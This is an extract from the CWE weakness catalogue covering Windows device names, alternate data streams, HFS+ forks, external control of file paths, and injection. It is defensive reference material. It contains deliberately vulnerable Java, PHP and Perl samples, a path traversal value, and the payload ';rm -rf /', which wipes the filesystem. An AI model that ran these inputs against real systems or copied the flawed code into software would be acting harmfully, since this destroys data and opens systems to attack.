Not properly handling virtual filenames (e.g. AUX, CON, PRN, COM1, LPT1) can result in different types of vulnerabilities. In some cases an attacker can request a device via injection of a virtual filename in a URL, which may cause an error that leads to a denial of service or an error page that reveals sensitive information. A product that allows device names to bypass filtering runs the risk of an attacker injecting malicious code in a file with the name of a device.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		66	Improper Handling of File Names that Identify Virtual Resources	124

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Operating_System : Windows (*Prevalence = Undetermined*)

Background Details

Historically, there was a bug in the Windows operating system that caused a blue screen of death. Even after that issue was fixed DOS device names continue to be a factor.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Read Application Data	
Other	Other	

Potential Mitigations

Phase: Implementation

Be familiar with the device names in the operating system where your system is deployed. Check input for these device names.

Observed Examples

Reference	Description
CVE-2002-0106	Server allows remote attackers to cause a denial of service via a series of requests to .JSP files that contain an MS-DOS device name. https://www.cve.org/CVERecord?id=CVE-2002-0106








Reference	Description
CVE-2002-0200	Server allows remote attackers to cause a denial of service via an HTTP request for an MS-DOS device name. https://www.cve.org/CVERecord?id=CVE-2002-0200
CVE-2002-1052	Product allows remote attackers to use MS-DOS device names in HTTP requests to cause a denial of service or obtain the physical path of the server. https://www.cve.org/CVERecord?id=CVE-2002-1052
CVE-2001-0493	Server allows remote attackers to cause a denial of service via a URL that contains an MS-DOS device name. https://www.cve.org/CVERecord?id=CVE-2001-0493
CVE-2001-0558	Server allows a remote attacker to create a denial of service via a URL request which includes a MS-DOS device name. https://www.cve.org/CVERecord?id=CVE-2001-0558
CVE-2000-0168	Microsoft Windows 9x operating systems allow an attacker to cause a denial of service via a pathname that includes file device names, aka the "DOS Device in Path Name" vulnerability. https://www.cve.org/CVERecord?id=CVE-2000-0168
CVE-2001-0492	Server allows remote attackers to determine the physical path of the server via a URL containing MS-DOS device names. https://www.cve.org/CVERecord?id=CVE-2001-0492
CVE-2004-0552	Product does not properly handle files whose names contain reserved MS-DOS device names, which can allow malicious code to bypass detection when it is installed, copied, or executed. https://www.cve.org/CVERecord?id=CVE-2004-0552
CVE-2005-2195	Server allows remote attackers to cause a denial of service (application crash) via a URL with a filename containing a .cgi extension and an MS-DOS device name. https://www.cve.org/CVERecord?id=CVE-2005-2195

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2347
MemberOf		857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2368
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2377
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2450
MemberOf		1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2459
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Windows MS-DOS device names

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO32-C	CWE More Specific	Do not perform operations on devices that are only appropriate for files
The CERT Oracle Secure Coding Standard for Java (2011)	FIO00-J		Do not operate on files in shared directories
Software Fault Patterns	SFP16		Path Traversal

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream

Weakness ID : 69

Structure : Simple

Abstraction : Variant

Description

The product does not properly prevent access to, or detect usage of, alternate data streams (ADS).


Extended Description

An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		66	Improper Handling of File Names that Identify Virtual Resources	124

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Operating_System : Windows (*Prevalence = Undetermined*)

Background Details

Alternate data streams (ADS) were first implemented in the Windows NT operating system to provide compatibility between NTFS and the Macintosh Hierarchical File System (HFS). In HFS, data and resource forks are used to store information about a file. The data fork provides information about the contents of the file while the resource fork stores metadata such as file type.

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
Other	Other	

Potential Mitigations

Phase: Testing

Software tools are capable of finding ADSs on your system.

Phase: Implementation

Ensure that the source code correctly parses the filename to read or write to the correct stream.

Observed Examples

Reference	Description
CVE-1999-0278	In IIS, remote attackers can obtain source code for ASP files by appending ":: \$DATA" to the URL. https://www.cve.org/CVERecord?id=CVE-1999-0278
CVE-2000-0927	Product does not properly record file sizes if they are stored in alternative data streams, which allows users to bypass quota restrictions. https://www.cve.org/CVERecord?id=CVE-2000-0927

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2387
MemberOf	C	1404	Comprehensive Categorization: File Handling	1400	2529

Notes

Theoretical

This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Windows ::DATA alternate data stream

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
168	Windows ::DATA Alternate Data Stream

References

[REF-562]Don Parker. "Windows NTFS Alternate Data Streams". 2005 February 6. < <https://seclists.org/basics/2005/Feb/312> >. 2023-04-07.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path

Weakness ID : 72**Structure :** Simple**Abstraction :** Variant

Description

The product does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.


Extended Description

If the product chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the product may take unexpected actions. Further, if the product intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		66	Improper Handling of File Names that Identify Virtual Resources	124

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Operating_System : macOS (*Prevalence = Undetermined*)

Background Details

The Apple HFS+ file system permits files to have multiple data input streams, accessible through special paths. The Mac OS X operating system provides a way to access the different data input streams through special paths and as an extended attribute:

- Resource fork: file/..namedfork/rsrc, file/rsrc (deprecated), xattr:com.apple.ResourceFork
- Data fork: file/..namedfork/data (only versions prior to Mac OS X v10.5)

Additionally, on filesystems that lack native support for multiple streams, the resource fork and file metadata may be stored in a file with "." prepended to the name.

Forks can also be accessed through non-portable APIs.

Forks inherit the file system access controls of the file they belong to.

Programs need to control access to these paths, if the processing of a file system object is dependent on the structure of its path.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Demonstrative Examples

Example 1:



A web server that interprets FILE.cgi as processing instructions could disclose the source code for FILE.cgi by requesting FILE.cgi/..namedfork/data. This might occur because the web server invokes the default handler which may return the contents of the file.

Observed Examples

Reference	Description
CVE-2004-1084	Server allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+. https://www.cve.org/CVERecord?id=CVE-2004-1084

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Notes

Theoretical

This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.

Research Gap

Under-studied

References

[REF-578]NetSec. "NetSec Security Advisory: Multiple Vulnerabilities Resulting From Use Of Apple OSX HFS+". BugTraq. 2005 February 6. < <https://seclists.org/bugtraq/2005/Feb/309> >.2023-04-07.

CWE-73: External Control of File Name or Path

Weakness ID : 73

Structure : Simple

Abstraction : Base

Description

The product allows user input to control or influence paths or file names that are used in filesystem operations.

Extended Description

This could allow an attacker to access or modify system files or other files that are critical to the application.

Path manipulation errors occur when the following two conditions are met:









1. An attacker can specify a path used in an operation on the filesystem.
2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.

For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1364
ChildOf		642	External Control of Critical State Data	1414
ParentOf		114	Process Control	277
CanPrecede		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
CanPrecede		41	Improper Resolution of Path Equivalence	86
CanPrecede		59	Improper Link Resolution Before File Access ('Link Following')	111
CanPrecede		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	236
CanPrecede		434	Unrestricted Upload of File with Dangerous Type	1048

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1015	Limit Access	2430

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2324

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	20

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Operating_System : Unix (*Prevalence = Often*)

Operating_System : Windows (*Prevalence = Often*)

Operating_System : macOS (*Prevalence = Often*)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Read Files or Directories	
Confidentiality	Modify Files or Directories	
	<i>The application can operate on unexpected files. Confidentiality is violated when the targeted filename is not directly readable by the attacker.</i>	
Integrity	Modify Files or Directories	

Scope	Impact	Likelihood
Confidentiality Availability	Execute Unauthorized Code or Commands <i>The application can operate on unexpected files. This may violate integrity if the filename is written to, or if the filename is for a program or other form of executable code.</i>	
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (Other) <i>The application can operate on unexpected files. Availability can be violated if the attacker specifies an unexpected file that the application modifies. Availability can also be affected if the attacker specifies a filename for a large file, or points to a special device or a file that does not have the format that the application expects.</i>	

Detection Methods

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the product. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Potential Mitigations

Phase: Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI `AccessReferenceMap` provide this capability.

Phase: Architecture and Design

Phase: Operation

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix `chroot` jail and `AppArmor`. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if

the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness = High

Phase: Implementation

Use a built-in path canonicalization function (such as `realpath()` in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Phase: Installation

Phase: Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Phase: Operation

Phase: Implementation

If you are using PHP, configure your application so that it does not use `register_globals`. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

Example Language: Java

(Bad)

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

Example 2:

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

Example Language: Java

(Bad)





```
fis = new FileInputStream(cfg.getProperty("sub")+ ".txt");
amt = fis.read(arr);
out.println(arr);
```

Observed Examples

Reference	Description
CVE-2022-45918	Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24) https://www.cve.org/CVERecord?id=CVE-2022-45918
CVE-2008-5748	Chain: external control of values for user's desired language and theme enables path traversal. https://www.cve.org/CVERecord?id=CVE-2008-5748
CVE-2008-5764	Chain: external control of user's target language enables remote file inclusion. https://www.cve.org/CVERecord?id=CVE-2008-5764

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2335
MemberOf		752	2009 Top 25 - Risky Resource Management	750	2353
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2377
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2491
MemberOf		1403	Comprehensive Categorization: Exposed Resource	1400	2528

Notes

Maintenance

CWE-114 is a Class, but it is listed a child of CWE-73 in view 1000. This suggests some abstraction problems that should be resolved in future versions.

Relationship

The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the CanPrecede relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc. However, those weaknesses do not always require external control. For example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all. The external control can be resultant from other issues. For example, in PHP applications, the register_globals setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

(CWE-22). Operating with excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Path Manipulation
Software Fault Patterns	SFP16		Path Traversal

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
13	Subverting Environment Variable Values
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
72	URL Encoding
76	Manipulating Web Input to File System Calls
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
267	Leverage Alternate Encoding

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Weakness ID : 74

Structure : Simple

Abstraction : Class

Description

The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

Extended Description













Software or other automated logic has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very different ways and usually attempted in order to alter the control flow of the process. For this reason, the most effective way to discuss these weaknesses is to note the distinct features that classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer

overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed.










Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		707	Improper Neutralization	1546
ParentOf		75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	142
ParentOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	145
ParentOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	163
ParentOf		91	XML Injection (aka Blind XPath Injection)	215
ParentOf		93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	217
ParentOf		94	Improper Control of Generation of Code ('Code Injection')	219
ParentOf		99	Improper Control of Resource Identifiers ('Resource Injection')	243
ParentOf		943	Improper Neutralization of Special Elements in Data Query Logic	1850
ParentOf		1236	Improper Neutralization of Formula Elements in a CSV File	2019
CanFollow		20	Improper Input Validation	20
CanFollow		116	Improper Encoding or Escaping of Output	281

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	145
ParentOf		78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	151
ParentOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	163
ParentOf		88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	194
ParentOf		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	201
ParentOf		91	XML Injection (aka Blind XPath Injection)	215
ParentOf		94	Improper Control of Generation of Code ('Code Injection')	219
ParentOf		917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	1818
ParentOf		1236	Improper Neutralization of Formula Elements in a CSV File	2019

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Weakness Ordinalities

Primary :**Applicable Platforms****Language :** Not Language-Specific (*Prevalence = Undetermined*)**Likelihood Of Exploit**

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>Many injection attacks involve the disclosure of important information -- in terms of both data sensitivity and usefulness in further exploitation.</i>	
Access Control	Bypass Protection Mechanism <i>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</i>	
Other	Alter Execution Logic <i>Injection attacks are characterized by the ability to significantly change the flow of a given process, and in some cases, to the execution of arbitrary code.</i>	
Integrity Other	Other <i>Data injection attacks lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing.</i>	
Non-Repudiation	Hide Activities <i>Often the actions performed by injected control code are unlogged.</i>	

Detection Methods**Automated Static Analysis**

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

*Effectiveness = High***Potential Mitigations****Phase: Requirements**

Programming languages and supporting technologies might be chosen which are not subject to these issues.

Phase: Implementation

Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.

Demonstrative Examples**Example 1:**

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

CWE Version 4.14**CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')***Example Language: PHP**(Bad)*

```
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);
```

The \$userName variable is not checked for malicious input. An attacker could set the \$userName variable to an arbitrary OS command such as:

*Example Language:**(Attack)*

```
;rm -rf /
```

Which would result in \$command being:

*Example Language:**(Result)*

```
ls -l /home/;rm -rf /
```

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

Example 2:

Consider the following program. It intends to perform an "ls -l" on an input filename. The validate_name() subroutine performs validation on the input to make sure that only alphanumeric and "-" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like "abc" or "d-e-f" are intended to be allowed.

*Example Language: Perl**(Bad)*

```
my $arg = GetArgument("filename");
do_listing($arg);
sub do_listing {
    my($fname) = @_;
    if (! validate_name($fname)) {
        print "Error: name is not well-formed!\n";
        return;
    }
    # build command
    my $cmd = "/bin/ls -l $fname";
    system($cmd);
}
sub validate_name {
    my($name) = @_;
    if ($name =~ /^[w\-\-]+$/) {
        return(1);
    }
    else {
        return(0);
    }
}
```

However, validate_name() allows filenames that begin with a "-". An adversary could supply a filename like "-aR", producing the "ls -l -aR" command (CWE-88), thereby getting a full recursive listing of the entire directory and all of its sub-directories.

There are a couple possible mitigations for this weakness. One would be to refactor the code to avoid using system() altogether, instead relying on internal functions.

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Another option could be to add a "--" argument to the ls command, such as "ls -l --", so that any remaining arguments are treated as filenames, causing any leading "-" to be treated as part of a filename instead of another option.

Another fix might be to change the regular expression used in validate_name to force the first character of the filename to be a letter or number, such as:

Example Language: Perl

(Good)

```
if ($name =~ /^[\w\.-]+$/) ...
```

Observed Examples

Reference	Description
CVE-2022-36069	Python-based dependency management tool avoids OS command injection when generating Git commands but allows injection of optional arguments with input beginning with a dash, potentially allowing for code execution. https://www.cve.org/CVERecord?id=CVE-2022-36069
CVE-1999-0067	Canonical example of OS command injection. CGI program does not neutralize " " metacharacter when invoking a phonebook program. https://www.cve.org/CVERecord?id=CVE-1999-0067
CVE-2022-1509	injection of sed script syntax ("sed injection") https://www.cve.org/CVERecord?id=CVE-2022-1509
CVE-2020-9054	Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2020-9054
CVE-2021-44228	Product does not neutralize \${xyz} style expressions, allowing remote code execution. (log4shell vulnerability) https://www.cve.org/CVERecord?id=CVE-2021-44228

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	2337
MemberOf		929	OWASP Top Ten 2013 Category A1 - Injection	928	2389
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf		1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2576
MemberOf		1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf		1409	Comprehensive Categorization: Injection	1400	2535

Notes

Theoretical

Many people treat injection only as an input validation problem (CWE-20) because many people do not distinguish between the consequence/attack (injection) and the protection mechanism that prevents the attack from succeeding. However, input validation is only one potential protection mechanism (output encoding is another), and there is a chaining relationship between improper input validation and the improper enforcement of the structure of messages to other components. Other issues not directly related to input validation, such as race conditions, could similarly impact message structure.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Injection problem ('data' used as something else)
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
6	Argument Injection
7	Blind SQL Injection
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
13	Subverting Environment Variable Values
14	Client-side Injection-induced Buffer Overflow
24	Filter Failure through Buffer Overflow
28	Fuzzing
34	HTTP Response Splitting
42	MIME Conversion
43	Exploiting Multiple Input Interpretation Layers
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
51	Poison Web Service Registry
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
67	String Format Overflow in syslog()
71	Using Unicode Encoding to Bypass Validation Logic
72	URL Encoding
76	Manipulating Web Input to File System Calls
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
83	XPath Injection
84	XQuery Injection
101	Server Side Include (SSI) Injection
105	HTTP Request Splitting
108	Command Line Execution through SQL Injection
120	Double Encoding
135	Format String Injection
250	XML Injection
267	Leverage Alternate Encoding
273	HTTP Response Smuggling

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

Weakness ID : 75**Structure** : Simple**Abstraction** : Class



Description

The product does not adequately filter user-controlled input for special elements with control implications.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137
ParentOf		76	Improper Neutralization of Equivalent Special Elements	144

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Execute Unauthorized Code or Commands	
Availability		

Potential Mitigations

Phase: Requirements





Programming languages and supporting technologies might be chosen which are not subject to these issues.

Phase: Implementation

Utilize an appropriate mix of allowlist and denylist parsing to filter special element syntax from all input.

MemberOf Relationships

